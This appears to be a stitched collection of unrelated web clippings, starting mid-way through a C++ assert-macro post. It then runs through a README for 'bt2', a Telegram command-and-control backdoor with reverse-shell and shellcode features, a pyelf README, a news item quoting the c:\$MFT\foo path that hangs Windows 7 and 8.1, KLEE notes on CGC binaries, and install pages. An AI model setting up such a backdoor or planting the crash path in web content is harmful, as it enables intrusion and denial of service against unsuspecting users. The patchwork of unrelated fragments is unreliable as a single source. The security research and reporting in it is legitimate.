            do { (void)sizeof(x); } while(0)
    #endif
[/code]

## 4\. Assert should always halt execution of the program, except for when it
shouldn’t.

The standard trick on Windows under MSVC to halt the program and break into
the debugger is to use \_\_debugbreak\(\):

[code]

    #define POW2_HALT() __debugbreak()
[/code]

This is always what you want to do when your assert fires, right? I mean, it’s
an assert\! You can’t really continue gracefully, even if you wanted to.
Things are too insane. That’s why you asserted in the first place\!

Except maybe if you’re running unit tests. If an assert fires inside a unit
test, you probably don’t want a “friendly” modal dialog box to pop up and
require you to hit abort, retry, or cancel. You certainly don’t want that
modal dialog box popping up on your poor automated build server. You want to
terminate that particular unit test and keep going.

That makes the requirements of your assert code a little more demanding. Does
it have to know if it’s running inside tests? How can it possibly know these
things even if you wanted to couple your code to your tests? It can’t. Not in
any sort of clean way, anyway. Not in any way that doesn’t couple your code
too tightly for our comfort.

Assert::Fail hasn’t really been doing much of interest to date. You’ve
probably assumed that it prints the failed assert to the screen in a compiler-
friendly format and then halt the program using a macro like POW2\_HALT\(\)
above. If it trampolined directly into a user-provided handler, it could
report whether or not to terminate the program. Let’s change it from:

[code]

    namespace pow2 { namespace Assert
    {
        void Fail(char const* condition, char const* msg, char const* file, int line);
    }}
[/code]

to this:

[code]

    namespace pow2 { namespace Assert
    {
    	enum FailBehavior
    	{
    		Halt,
    		Continue,
    	};
    
    	typedef FailBehavior (*Handler)(const char* condition,
                                        const char* msg,
                                        const char* file,
                                        int line);
    	Handler GetHandler();
    	void SetHandler(Handler newHandler);
    
    	FailBehavior ReportFailure(const char* condition,
                                   const char* file,
                                   int line,
                                   const char* msg, ...);
    }}
    
[/code]

We hide the current handler and default handler in Assert.cpp so as to keep
our header file as simple as possible. Now we can set any handler we want, and
the app will only halt if the handler returns true. For our unit tests, our
assert handler reports the assert to our testing framework, and the test fails
gracefully. Let’s beef up our macro yet again:

[code]

    #ifdef POW2_ASSERTS_ENABLED
        #define POW2_ASSERT(cond) \
            do \
            { \
                if (!(cond)) \
                { \
                    if (pow2::Assert::ReportFailure(#cond, __FILE__, __LINE__, 0) == \
                        pow2::Assert::Halt) \
                        POW2_HALT(); \
                } \
            } while(0)
    #else
        #define POW2_ASSERT(condition) \
            do { POW2_UNUSED(condition); } while(0)
    #endif
    
[/code]

We’re in the home stretch\! This is actually our final code, but we’re not
done discussing things yet. Note also in the real Pow2Assert.h there are
overloaded forms of these macros that support variadic parameters for printf-
style formatting. I’ve omitted them here for brevity.  

## 5\. Hooray\! My assert fired\! Where the hell am I?\!

The final common problem with assert macros is that they often leave you alone
and lost in the wilderness, about 3 stack frames away from the code that
actually triggered the assert. I hope to inflict a violent emotional reaction
by showing you this next image:

<img src='img/Temp2_10141.png' width='668' height='179' alt='Useless callstack
from inside VS80 CRT "assert" function' />

Ahh yes. Thanks a ton MSVC for taking me to… \_NMSG\_WRITE\(int rterrnum=10\).
It’s at line 198 of crt0msg.c, if that helps you. But it doesn’t. Know why?
Because it’s completely useless\! \_NMSG\_WRITE doesn’t have a damn thing to
do with why our program is now dead.

The nicest side effect of item 4 \(moving the POW2\_HALT\(\) back to the
assert macro itself\) is that the fired assert lands you in the debugger AT
THE SITE OF THE FAILING ASSERT. Sorry to yell, but it’s important. Look at
this call stack and tell me it’s not nicer:

<img src='img/Temp2_10140.png' width='455' height='220' alt='wonderful-
callstack' />

And we got it as a free side effect of making our assert macro cooler\!

So that’s pretty much it for Assert. I’m still tinkering with it every now and
then, but it’s about as solid as I know how to make it at this point. It’s
certainly serving me well in the meantime.

Credit goes to Steve Rabin for his chapter in Game Programming Gems 1, it was
the inspiration for item 5. Thanks as always to Andrei Alexandrescu for
opening my eyes to the sheer blinding madness of sizeof. Tom Plunket was good
enough to beat the do/while\(0\) stuff into me.

Filed under:  
Stupid C++ Tricks by charles

# blazeinfosec/bt2

**Created:**| _6/29/2017 4:05:52 PM_  
---|---  
**Updated:**| _6/29/2017 4:05:52 PM_  
**Author:**| __  
**Tags:**| __  
  

  

Blaze Telegram Backdoor Toolkit is a post-exploitation tool that leverages the
infrastructure of Telegram as a C&C

  * 18  commits 
  * 1  branch 
  * 0  releases 
  * 2  contributors 
  * Apache-2.0 

  1. Python 100.0%

Python

Upload files  Find file

New pull request

Latest commit  c80d599  on May 27, 2016 <img src='img/16681975.png' width='20'
height='20' alt='@blazeinfosec' /> blazeinfosec Added extra info on README

|  images |  Added screenshots |  a year ago  
---|---|---|---  
|  resources |  First commit |  a year ago  
|  LICENSE |  First commit |  a year ago  
|  README.md |  Added extra info on README |  a year ago  
|  backdoorutils.py |  Remove unused code |  a year ago  
|  bt2.py |  Commented code is dead code |  a year ago  
|  genshellcode-example.py |  Remove whitespaces |  a year ago  
###  README.md

## bt2: Blaze Telegram Backdoor Toolkit

bt2 is a Python-based backdoor in form of a IM bot that uses the
infrastructure and the feature-rich bot API provided by Telegram, slightly
repurposing its communication platform to act as a C&C.

## Dependencies

  * Telepot
  * requests

## Installation

[code]

    $ sudo pip install telepot
    $ sudo pip install requests
    
[/code]

PS: Telepot requires minimum of requests 2.9.1 to work properly.

## Limitations

Currently the shellcode execution component is dependent on ctypes and works
only on Windows platforms.

## Usage

Before using this code one has to register a bot with Telegram. This can be
done by talking to Botfather - after setting up the name for the bot and
username you will get a key that will be used to interact with the bot API.

For more information see Telegram bots: an introduction for developers

Also, it is highly advisable to replace 'botmaster ID' with the ID of the
master, locking the communication between the bot to the specific ID of the
botmaster to avoid abuse from unauthorized parties.

[code]

    $ python bt2.py
    
[/code]

<img src='img/main-screenshot.png' width='888' height='436' alt='Sample
screenshot' />

## Resources

We published a blog post with a few more details on command and control
platforms and how to use the tool:
https://blog.blazeinfosec.com/bt2-leveraging-telegram-as-a-command-control-
platform/

## Disclaimer

bt2 is a mere proof of concept and by no means intends to breach the terms and
conditions of Telegram. It was developed for usage in legitimate penetration
testing engagements and neither the author nor Blaze Information Security can
be liable for any malicious use of the tool.

## Known bugs

  * After launching a reverse shell and exiting from it, all commands sent to the bot have duplicate responses.
  * The 'kill' functionality is not working as it should.
  * After successful execution of shellcode, the bot dies. Upon return it fetches the previous messages from the server and executes the shellcode again. Need to find a way to avoid fetching of previous messages.

## Author

  * **Julio Cesar Fort** \- julio at blazeinfosec dot com
  * Twitter: @juliocesarfort / @blazeinfosec

## License

This project is licensed under the Apache License - see the LICENSE file for
details.

  

# giannitedesco/pyelf - GitHub

**Created:**| _4/21/2011 10:09:50 AM_  
---|---  
**Updated:**| _4/21/2011 10:09:50 AM_  
**Author:**| __  
**Tags:**| _bookmark security tools reversing_  
  
======================================================================= pyelf:
Python wrapper for libelf Copyright \(c\) 2010 Gianni Tedesco
<gianni@scaramanga.co.uk> Released under the terms of the GNU GPL version 3
\(see: COPYING\)
======================================================================= Python
wrapper for libelf library: http://www.mr511.de/software/ For now it only
supports read-only access to the various ELF headers but plans are to support
ELF file writing as well as access to ar and COFF files too. Some of the more
tedious parts of the wrapper code are auto-generated by a simplistic
interface-definition language implemented in python. An example readelf clone
is included as a demo. An example output is shown below: Opening
./scaraOS/kernel.elf ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00
00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 OS/ABI:
UNIX - System V ABI Version: 0 Type: EXEC \(Executable file\) Machine: Intel
80386 Section Headers: \[Nr\] Name Type Addr Off Size ES Flg Lk Inf Al \[ 0\]
NULL 00000000 000000 000000 ,,, \[ 1\] .text PROGBITS c0100000 0000a0 0056ff
,,, \[ 2\] .rodata PROGBITS c0105700 0057a0 0004a4 ,,, \[ 3\] .rodata.str1.1
PROGBITS c0105ba4 005c44 001156 ,,, \[ 4\] .data PROGBITS c0107000 0070a0
000254 ,,, \[ 5\] .bss NOBITS c0107258 0072f4 000d6c ,,, \[ 6\] .initcall.init
PROGBITS c0108000 0072f4 000018 ,,, \[ 7\] .text.init PROGBITS c0108018 00730c
00114d ,,, \[ 8\] .debug\_line PROGBITS 00000000 008459 00373f ,,, \[ 9\]
.debug\_info PROGBITS 00000000 00bb98 014f51 ,,, \[10\] .debug\_abbrev
PROGBITS 00000000 020ae9 004eba ,,, \[11\] .debug\_aranges PROGBITS 00000000
0259a8 000638 ,,, \[12\] .debug\_loc PROGBITS 00000000 025fe0 0065e3 ,,,
\[13\] .debug\_pubnames PROGBITS 00000000 02c5c3 000ced ,,, \[14\]
.debug\_ranges PROGBITS 00000000 02d2b0 000f78 ,,, \[15\] .debug\_str PROGBITS
00000000 02e228 0023d8 ,,, \[16\] .debug\_frame PROGBITS 00000000 030600
001b1c ,,, \[17\] .shstrtab STRTAB 00000000 03211c 0000d3 ,,, \[18\] .symtab
SYMTAB 00000000 032510 001ba0 ,,, \[19\] .strtab STRTAB 00000000 0340b0 00125b
,,, Key to Flags: W \(write\), A \(alloc\), X \(execute\), M \(merge\), S
\(strings\) I \(info\), L \(link order\), G \(group\), x \(unknown\) O \(extra
OS processing required\) o \(OS specific\), p \(processor specific\) Program
Headers: 3 Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align ...
<elf.phdr object at 0xb78421a0> ... <elf.phdr object at 0xb7842160> ...
<elf.phdr object at 0xb7842260>

# FileSystem NTFS Bug Crashes Windows 7 and Windows 8.1

**Created:**| _5/31/2017 6:23:25 PM_  
---|---  
**Updated:**| _5/31/2017 6:23:25 PM_  
**Author:**| __  
**Tags:**| _windows environment filesystems_  
  

  

#  FileSystem NTFS Bug Crashes Windows 7 and Windows 8.1

May 29, 2017 By Pierluigi Paganini

  
  

<img src='img/standard-facebook-ico.png' width='82' height='18' alt='Fb-
Button' />

## A FileSystem NTFS Bug could be exploited to crash Windows 7 and Windows
8.1, using Chrome browser you can avoid problems.

Until Microsoft patches this problem, use Chrome: a slip in file-path handling
allows an attacker to crash Windows 7 and Windows 8.1 with a file call.

A bug in the way Microsoft handle file-path could be exploited by attackers to
crash Windows 7 and Windows 8.1 with a simple file call.

The vulnerability is triggered everytime a file call includes the Windows’
Master File Table, for example, if the attackers include $MFT as a link to an
image in a website.

The Russian expert “Anatolymik” of Alladin Information Security first reported
the issue. he discovered it debugging and reverse engineering the NTFS driver.

<img src='img/NTFS-bug.png' width='630' height='151' alt='NTFS bug' />

Every file on an NTFS volume has a reference in the MFT, for this reason, the
OS must protect $MFT from user-access. The Russian researcher discovered that
if you try to access a file like

`c:\$MFT\foo`

the NT file system \(NTFS\) locks $MFT and simply doesn’t release it.

_“When the attempt is made to open the file with respect to $ mft file,
NtfsFindStartingNode function does not find it, because This function searches
a little differently, unlike NtfsOpenSubdirectory function that finds the file
at all times.” reads thedesciption of the problem published by the expert._

_“Consequently, the work cycle begins, starting with the root filesystem. Next
NtfsOpenSubdirectory function opens the file and take him ERESOURCE monopoly.
On the next iteration of the loop detects that the file is not a directory,
and thus interrupt his job with an error. And at the conclusion of its work
function by NtfsCommonCreate NtfsTeardownStructures function tries to close
it. Function NtfsTeardownStructures, in turn, face the fact that she will not
be able to close the file because it opens the file system itself when
mounting. At the same time, contrary to expectations NtfsCommonCreate
function, NtfsTeardownStructures function frees ERESOURCE $ mft file. Thus, it
will be captured forever.”_

According to Bleeping Computer, users who have tested the issue have noticed
that the bug cannot be triggered in Chrome because the Google browser will not
allow loading images with malformed paths, such as the $MFT exploit.

_“According to users that have tested the bug and commented on Anatolymik’s
blog post, Chrome will refuse to load images with malformed paths, such as the
$MFT exploit.” states theblog post published on Bleeping Computer._

_“Nonetheless, Bleeping Computer confirmed that the $MFT bug causes a Windows
7 installation to hang via Internet Explorer and Firefox.”_

This NTFS bug is very similar to another file path vulnerability discovered in
1990s when you could trigger system crash with the “ _C:/con/con_ ” bug. The
bug affecting Windows 95 and Windows 98 systems.

**Pierluigi Paganini**

**\(****Security Affairs****– NTFS bug, hacking\)**

Share it please ...<img src='img/twitter.png' width='35' height='35'
alt='Tweet about this on Twitter' /><img src='img/4168_google.png' width='35'
height='35' alt='Share on Google+' /><img src='img/facebook.png' width='35'
height='35' alt='Share on Facebook' /><img src='img/linkedin.png' width='35'
height='35' alt='Share on LinkedIn' /><img src='img/pinterest.png' width='35'
height='35' alt='Pin on Pinterest' /><img src='img/reddit.png' width='35'
height='35' alt='Share on Reddit' /><img src='img/email.png' width='35'
height='35' alt='Email this to someone' /><img src='img/stumbleupon.png'
width='35' height='35' alt='Share on StumbleUpon' />

__ HackingNTFS BugWindows

  

* * *
#####  Share On

  * __
  * __
  * __
  * __
  * __
  * __
  * __

  

<img src='img/f00db26378ef7df7c440a8ee60ead62b.jpg' width='60' height='60' />

###### Pierluigi Paganini

Pierluigi Paganini is member of the ENISA \(European Union Agency for Network
and Information Security\) Threat Landscape Stakeholder Group and Cyber G7
Group, he is also a Security Evangelist, Security Analyst and Freelance
Writer. Editor-in-Chief at "Cyber Defense Magazine", Pierluigi is a cyber
security expert with over 20 years experience in the field, he is Certified
Ethical Hacker at EC Council in London. The passion for writing and a strong
belief that security is founded on sharing and awareness led Pierluigi to find
the security blog "Security Affairs" recently named a Top National Security
Resource for US. Pierluigi is a member of the "The Hacker News" team and he is
a writer for some major publications in the field such as Cyber War Zone,
ICTTF, Infosec Island, Infosec Institute, The Hacker News Magazine and for
many other Security magazines. Author of the Books "The Deep Dark Web" and
“Digital Virtual Currency and Bitcoin”.

  
  

  

* * *
__

###### Previous Article

**Austrian parties SPÖ and ÖVP want Whatsapp monitoring**

__

###### Next Article

**Microsoft silently patched a second critical Malware Protection Engine
flaw**

* * *
  

  

##### You might also like

  

<img src='img/Temp2_3143.png' width='302' height='843' alt='Judy Doesn’t Love
You – Judy Malware has a sweet name but may have infected 36 million users' />

####  Judy Doesn’t Love You – Judy Malware has a sweet name but may have
infected 36 million users

May 31, 2017 By Pierluigi Paganini

<img src='img/Temp2_3144.png' width='302' height='158' alt='Chrome design flaw
allows sites to record Audio/Video without indication' />

####  Chrome design flaw allows sites to record Audio/Video without indication

May 31, 2017 By Pierluigi Paganini

  
  
  
  

  

# Some notes on the current state of KLEE and cb-multios

**Created:**| _6/29/2017 3:51:07 PM_  
---|---  
**Updated:**| _6/29/2017 3:51:07 PM_  
**Author:**| __  
**Tags:**| __  
  

  

Some notes on the current state of KLEE and cb-multios

Raw

**cb\_multios\_klee\_notes.md** Permalink

Using KLEE on the DARPA CGC challenge binaries \(as ported to Linux/OS X by
Trail of Bits\) is currently not a fun time. Here are a few of the current
obstacles.

I'm working off of KLEE master, built against LLVM 3.4, running on Linux
\(Ubuntu 16.04\). Some of this may be easier or harder on other platforms
supported by cb-multios \(i.e. OS X and maybe someday Windows\).

  * KLEE wants a standard ` int main(int argc, char *argv[]) `. Most of the challenges instead have ` int main(void) ` instead, and some, perversely, use the first int argument to main to hold the address of the flag page. \(Edit: this has been fixed in the ` windows_support ` branch of ` cb-multios ` and should make its way into master soon\)
  * The challenge binaries use lots of symbols that conflict with things in libc. For example, many of them define the symbol ` stdin ` and then implement a FILE\* struct themselves. So when trying to link in ` klee-uclibc.bc ` you get symbol clashes. This already has an issue in the cb-multios repo.
  * Getting bitcode for each of the challenges is not easy. Right now the best way I've found to do it is to build the challenge binaries with wllvm, which wraps clang/clang++, produces bitcode, and places a list of the bitcode files that make up a binary into a special debug section in the final ELF. Then for each binary you can run extract-bc, which basically just calls llvm-link on all of the constituent bitcode files.
  * The challenge binaries are compiled for 32-bit x86, but most people are using 64-bit systems. Doing a 32-bit cross-compile of KLEE, stp, LLVM, etc. is possible, but only for a fairly cruel and unusual definition of possible \(see Appendix C for a view into the Hellmouth\). This also causes problems with KLEE because malloc\(\) may return addresses larger than can fit in a 32-bit pointer; see this KLEE issue for details and a workaround. \(Edit: It also looks like the deterministic allocator that was recently added to KLEE can help here; see the options ` -allocate-determ -allocate-determ-start-address=0x10000000 `\)
  * The challenge binaries contain a "flag page" – 4096 bytes of random data loaded at a fixed address in memory. In cb-multios, this is implemented using mmap, which KLEE doesn't model. See Issue 15 in cb-multios.
  * The use of ` mmap ` also occurs in the implementation of CGC's ` allocate `. You can change it to use ` malloc() ` and ` mprotect() ` though; see Appendix B.

## Case Study: Palindrome

Let's take a quick look at using KLEE on ` Palindrome ` \(selected because
it's extremely simple; it doesn't do anything with the CGC random page and
doesn't use any conflicting symbols\).

Build cb-multios using ` wllvm `. You'll want to apply the patches in
Appendices A and B to make the build process go a bit more smoothly. I also
edited ` build.sh ` so that it wouldn't use Ninja, because I wanted a plain
old Makefile \(this is because I am afraid of change\).

Set some environment variables for ` wllvm `:

[code]

    LLVMDIR=/home/moyix/git/llvm-3.4/Release/bin
    LLVM_LINK_NAME=/home/moyix/git/llvm-3.4/Release/bin/llvm-link
    LLVM_CC_NAME=/home/moyix/git/llvm-3.4/Release/bin/clang
    LLVM_CXX_NAME=/home/moyix/git/llvm-3.4/Release/bin/clang++
    LLVM_COMPILER=clang
    
[/code]

And build\!

[code]

    CXX=wllvm++ CC=wllvm ./build.sh
    
[/code]

At the end of this, we can extract all of the bitcode files:

[code]

    cd processed-challenges
    find $(find . -name bin) -type f -perm -u=x | while read f; do extract-bc $f || (echo Extracting bitcode failed && break) ; done
    cd -
    cd build/include
    find . -name \*.so | xargs -n 1 extract-bc
    cd -
    
[/code]

On to Palindrome. We patch it to have a normal ` main ` function, by editing `
processed-challenges/Palindrome/src/service.c ` and changing ` main(void) ` to
` main(int argc, char **argv) `.

Now we can go back into the ` build ` directory and rebuild with ` make `, and
then go back into ` processed-challenges/Palindrome/bin ` and run ` extract-bc
Palindrome ` to get the bitcode file back.

Finally, we can run KLEE. I'm going to just use the options from the KLEE site
that are recommended for the coreutils experiment, with some small tweaks
\(mainly setting stdin to symbolic\). We also have to link against the
_bitcode_ versions of ` libcgc.so ` and ` libtiny-AES128-C.so `; otherwise
KLEE won't understand the CGC system call interface. You can let it run for a
few minutes and then hit Control-C to stop it:

[code]

    moyix@lorenzo:~/git/cb-multios/processed-challenges/Palindrome/bin$ klee -link-llvm-lib=/home/moyix/git/cb-multios/build/include/libcgc.so.bc -link-llvm-lib=/home/moyix/git/cb-multios/build/include/tiny-AES128-C/libtiny-AES128-C.so.bc --simplify-sym-indices --write-cvcs --write-cov --output-module --disable-inlining --optimize --use-forked-solver --use-cex-cache --libc=uclibc --allow-external-sym-calls --only-output-states-covering-new --max-sym-array-size=4096 --max-instruction-time=30. --max-time=18000. --watchdog --max-memory-inhibit=false --max-static-fork-pct=1 --max-static-solve-pct=1 --max-static-cpfork-pct=1 --switch-type=internal --search=random-path --search=nurs:covnew --use-batching-search --batch-instructions=10000 --posix-runtime Palindrome.bc --sym-stdin 128 --sym-stdout
    KLEE: KLEE: WATCHDOG: watching 24411
    
    KLEE: NOTE: Using klee-uclibc : /home/moyix/git/klee/klee_build_dir/Release+Debug+Asserts/lib/klee-uclibc.bca
    KLEE: NOTE: Using model: /home/moyix/git/klee/klee_build_dir/Release+Debug+Asserts/lib/libkleeRuntimePOSIX.bca
    KLEE: Linking in library: /home/moyix/git/cb-multios/build/include/libcgc.so.bc.
    
    KLEE: Linking in library: /home/moyix/git/cb-multios/build/include/tiny-AES128-C/libtiny-AES128-C.so.bc.
    
    KLEE: output directory is "/home/moyix/git/cb-multios/processed-challenges/Palindrome/bin/klee-out-0"
    KLEE: Using STP solver backend
    KLEE: WARNING: undefined reference to function: __isoc99_sscanf
    KLEE: WARNING: undefined reference to function: getenv
    KLEE: WARNING ONCE: Alignment of memory from call "malloc" is not modelled. Using alignment of 8.
    KLEE: WARNING ONCE: calling external: getenv(191253352) at /home/moyix/git/cb-multios/include/libcgc.c:227
    KLEE: WARNING ONCE: calling external: syscall(54, 0, 21505, 188883176) at /home/moyix/git/klee/runtime/POSIX/fd.c:1045
    KLEE: ERROR: /home/moyix/git/cb-multios/processed-challenges/Palindrome/src/service.c:65: memory error: out of bound pointer
    KLEE: NOTE: now ignoring this error at this location
    ^CKLEE: ctrl-c detected, requesting interpreter to halt.
    KLEE: halting execution, dumping remaining states
    
    KLEE: done: total instructions = 59513659
    KLEE: done: completed paths = 172816
    KLEE: done: generated tests = 1
    
[/code]

You can see that it found the stack-based buffer overflow almost immediately.

## Appendix A

Here's a small patch to cb-multios's CMakeLists.txt that fixes up some
compiler/linker flags to work with clang-3.4:

[code]

    diff --git a/CMakeLists.txt b/CMakeLists.txt
    index 564d7b8..ef159e6 100644
    --- a/CMakeLists.txt
    +++ b/CMakeLists.txt
    @@ -12,8 +12,8 @@ set(CMAKE_CXX_STANDARD 11)
     add_compile_options(
         -fno-builtin
         -Wno-int-to-pointer-cast
    -    -Wno-writable-strings
    -    -g3
    +    -Wno-write-strings
    +    -ggdb
         -m32
     )
    
    @@ -132,7 +132,7 @@ add_definitions(
     )
    
     if(LINUX)
    -    set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -z execstack -z norelro")
    +    set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -lm -Wl,-z,execstack -Wl,-z,norelro")
     endif()
    
     file(GLOB challenge_binaries processed-challenges/*)
    
[/code]

## Appendix B

A small patch to make ` allocate ` use ` malloc ` and ` mprotect ` instead of
` mmap `. KLEE still doesn't know what ` mprotect ` is, but since it doesn't
return a pointer this doesn't stop it from continuing with symbolic execution.
The patch also removes the use of mmap in the flag page constructor, which
will break any challenges that explicitly rely on having a flag page at a
fixed address.

[code]

    diff --git a/include/libcgc.c b/include/libcgc.c    
    index deb456b..f08c6f2 100755
    --- a/include/libcgc.c
    +++ b/include/libcgc.c
    @@ -179,11 +179,12 @@ int allocate(cgc_size_t length, int is_executable, void **addr) {
       if (is_executable)
         page_perms |= PROT_EXEC;
     
    -  void *return_address = mmap(NULL, length, page_perms, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
    +  void *return_address = malloc(length);
     
    -  if (return_address == MAP_FAILED) {
    +  if (return_address == NULL) {
         return errno;
       }
    +  mprotect(return_address, length, page_perms);
     
       if (addr)
         *addr = return_address;
    @@ -251,6 +252,7 @@ int cgc_random(void *buf, cgc_size_t count, cgc_size_t *rnd_bytes) {
     }
     
     static void __attribute__ ((constructor)) cgc_initialize_flag_page(void) {
    +#if 0
       void *mmap_addr = mmap(CGC_FLAG_PAGE_ADDRESS, PAGE_SIZE,
                              PROT_READ | PROT_WRITE,
                              MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
    @@ -259,6 +261,8 @@ static void __attribute__ ((constructor)) cgc_initialize_flag_page(void) {
       if (mmap_addr != CGC_FLAG_PAGE_ADDRESS) {
         err(1, "[!] Failed to map the flag page");
       }
    +#endif
    +  void *mmap_addr = malloc(PAGE_SIZE);
     
       // Fill the flag page with bytes from the prng
       try_init_prng();
    
[/code]

## Appendix C

Notes on compiling LLVM 3.4, KLEE, stp, and minisat as a 32-bit cross-compile.
Most of this is just fighting with cmake and trying to divine where to add in
the ` -m32 ` flag.

LLVM \(using cmake, since that is the only way I could find to get the 32-bit
libraries\):

[code]

    cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_TARGETS_TO_BUILD=X86 -DLLVM_BUILD_32_BITS=ON ..
    
[/code]

minisat:

[code]

    cmake -DCMAKE_C_FLAGS="-m32" -DCMAKE_CXX_FLAGS="-m32" -DCMAKE_EXE_LINKER_FLAGS="-m32" -DCMAKE_SHARED_LINKER_FLAGS="-m32" -DSTATIC_BINARIES=ON -DCMAKE_INSTALL_PREFIX=${HOME}/klee_install ..
    
[/code]

klee-uclibc:

Note that we're building with printf enabled, because why not.

[code]

    ./configure --with-llvm-config ~/git/llvm-3.4/llvmbuild/bin/llvm-config --make-llvm-lib
    make menuconfig => i386
    make KLEE_CFLAGS="-DKLEE_SYM_PRINTF -m32"
    make -j $(nproc)
    
[/code]

stp:

[code]

    cmake -DCMAKE_INSTALL_PREFIX=${HOME}/klee_install -DCMAKE_SHARED_LINKER_FLAGS="-m32" -DCMAKE_EXE_LINKER_FLAGS="-m32" -DMINISAT_INCLUDE_DIRS=${HOME}/klee_install/include -DMINISAT_LIBDIR=${HOME}/klee_install/lib -DCMAKE_CXX_FLAGS="-m32" -DCMAKE_C_FLAGS="-m32" -DBUILD_SHARED_LIBS:BOOL=OFF -DENABLE_PYTHON_INTERFACE:BOOL=OFF ..
    make -j $(nproc)
    make install
    
[/code]

klee:

Make sure to first install 32-bit versions of everything KLEE needs \(note:
there may be more, but these were the ones I was missing\):

[code]

    sudo apt-get install zlib1g-dev:i386 libtinfo-dev:i386 libicu-dev:i386 libcap-dev:i386
    
[/code]

Next you'll need to tell KLEE to build its runtime library as 32-bit. I
couldn't find a way to do this through ` cmake `, so you get the pleasure of
hand-editing a build script. Edit ` runtime/Makefile.cmake.bitcode.config.in `
and add ` -m32 ` to ` LLVM.ExtraFlags `.

Now we can run this ungodly cmake command. In addition to specifying 32-bit
compilation, we also need to tell it not to use RTTI, because it's kind of
broken in LLVM 3.4's cmake builds.

[code]

    cmake -DCMAKE_C_FLAGS="-m32" -DCMAKE_CXX_FLAGS="-m32 -fno-rtti" -DENABLE_UNIT_TESTS=OFF -DENABLE_SOLVER_Z3=OFF -DENABLE_SOLVER_STP=ON -DENABLE_POSIX_RUNTIME=ON -DENABLE_KLEE_UCLIBC=ON -DKLEE_UCLIBC_PATH=/home/moyix/git/klee-uclibc -DLLVM_CONFIG_BINARY=${HOME}/git/llvm-3.4/llvmbuild/bin/llvm-config ..
    make -j $(nproc)
    
[/code]

<img src='img/4872355.png' width='44' height='44' alt='@withzombies' />

###  **withzombies ** commented 3 days ago

Some fair criticisms here. I have some responses though:

  * Symbol Collisions - Super frustrating, I agree. As part of the Windows port, we've globally prefixed all symbols with ` cgc_ `. This should work on Linux and OS X but we haven't merged it to master yet. https://github.com/trailofbits/cb-multios/tree/windows\_support
  * int main\(int argc, char \*\*argv\) - For some reason DARPA chose to pass the flag page in argc for the CFE binaries. Some use it, others don't. I suspect it was because the flag page was expected to move -- but in practice it does not. We can and should rewrite all these prototypes.
  * The flag page - I really want to remove the flag page. It's stupid and lazy. DARPA used it to implement type-2 PoVs \(which leaked back data\). This could have and should have been done in a much different way. For all the type-2 PoV challenges, we would need to rewrite their PoVs and some of the functionality of the challenge binaries themselves. Unfortunately, this is unlikely to happen any time soon.
  * 64-bit - These challenges were not written with 64-bit in mind. Porting them to 64-bit is the next major task but I suspect many PoVs will need to be updated or just simply not work afterwards. The vulnerabilities should still be triggerable but they won't manifest in the way the PoVs expect.

Finally, KLEE should be LLVM 3.8+ but it seems its a political issue. For what
it's worth, for CGC we used our own KLEE which linked against LLVM 3.6.1.  
---  
<img src='img/9881_11855163.png' width='44' height='44' alt='@norandom' />

Attach files by dragging & dropping, selecting them, or pasting from the
clipboard.

Styling with Markdown is supported

  

# OpenStack Docs: Security Guide

**Created:**| _3/8/2015 9:09:10 PM_  
---|---  
**Updated:**| _3/8/2015 9:09:10 PM_  
**Author:**| __  
**Tags:**| __  
  

#  OpenStack Security Guide

**The OpenStack Security Guide provides best practices learned by cloud
operators while hardening their OpenStack deployments.** This book was written
by a close community of security experts from the  OpenStack Security Group
in an intense week-long effort at an undisclosed location. One of the goals
for this book is to bring together interested members to capture their
collective knowledge and give it to the OpenStack community.

* * *
###  Get the Book\!

Current HTML  Current PDF  buy it from Lulu

<img src='img/Temp2_5962.jpg' />

# Installation on Ubuntu - Linux-VServer

**Created:**| _5/9/2010 1:50:04 PM_  
---|---  
**Updated:**| _5/10/2010 12:32:01 PM_  
**Author:**| __  
**Tags:**| _Linux Lab-Setup_  
  

# Installation on Ubuntu

### From Linux-VServer

Jump to: navigation, search

## Contents

  * 1Disclaimer
  * 2Karmic
    * 2.1Known Limitations
  * 3Jaunty
    * 3.1Known Limitations
  * 4Intrepid
    * 4.1Known Limitations
  * 5Hardy
    * 5.1Known Limitations
  * 6Repository
    * 6.1Karmic
    * 6.2Jaunty
    * 6.3Intrepid
    * 6.4Hardy
  * 7Installation
  * 8Useful Links

  
---  
## \[edit\] Disclaimer

If you are running a system in production you should probably consider
building your own kernel based on the vanilla kernel source as described here:
Installation\_on\_Linux\_2.6

The binary kernel images provided here are neither official ubuntu nor
official Linux-VServer kernel images.

If you have any problems with those kernels please send a mail to the VServer
mailinglist and please **do not file any bugs on the ubuntu bugtracker**.

If you are interested in a different kernel config or have prepared a patch
for newer kernels, do not hesitate to contact the VServer mailinglist.

## \[edit\] Karmic

Kernel Version: 2.6.31

Vserver patch: 2.3.0.36.19

Status: experimental

### \[edit\] Known Limitations

  * linux-image 
    * CONFIG\_AUFS has been disabled 

## \[edit\] Jaunty

Kernel Version: 2.6.28

Vserver patch: 2.3.0.36.9

Status: experimental

### \[edit\] Known Limitations

  * linux-image 
    * CONFIG\_AUFS has been disabled 
  * linux-headers 
    * Up to version 2.6.28-11.42~ppa1 the linux-headers package was broken which broke external modules built manually or via dkms \(nvidia, virtualbox\). If you are experiencing problems with one of those modules please update to the latest package version and rebuild the modules. For modules built via dkms this can be done with: 

[code]

    dkms remove -m <modulename> -v <moduleversion> -k 2.6.28-11-vserver
    dkms build -m <modulename> -v <moduleversion> -k 2.6.28-11-vserver
    dkms install -m <modulename> -v <moduleversion> -k 2.6.28-11-vserver
    
[/code]

## \[edit\] Intrepid

Kernel Version: 2.6.27

Vserver patch: 2.3.0.36.4

Status: experimental

The util-vserver package from intrepid seems to be broken \(see: Ubuntu Bug\),
therefore I have rebuild the jaunty version for intrepid. This version ships
with unstripped binaries due to another Ubuntu Bug.

### \[edit\] Known Limitations

  * linux-image 
    * CONFIG\_AUFS has been disabled 

## \[edit\] Hardy

Kernel Version: 2.6.24

Vserver patch: 2.0.0.5.0.7

Status: experimental

### \[edit\] Known Limitations

  * linux-image 
    * CONFIG\_OCFS2\_FS has been disabled 

  * linux-ubuntu-modules 
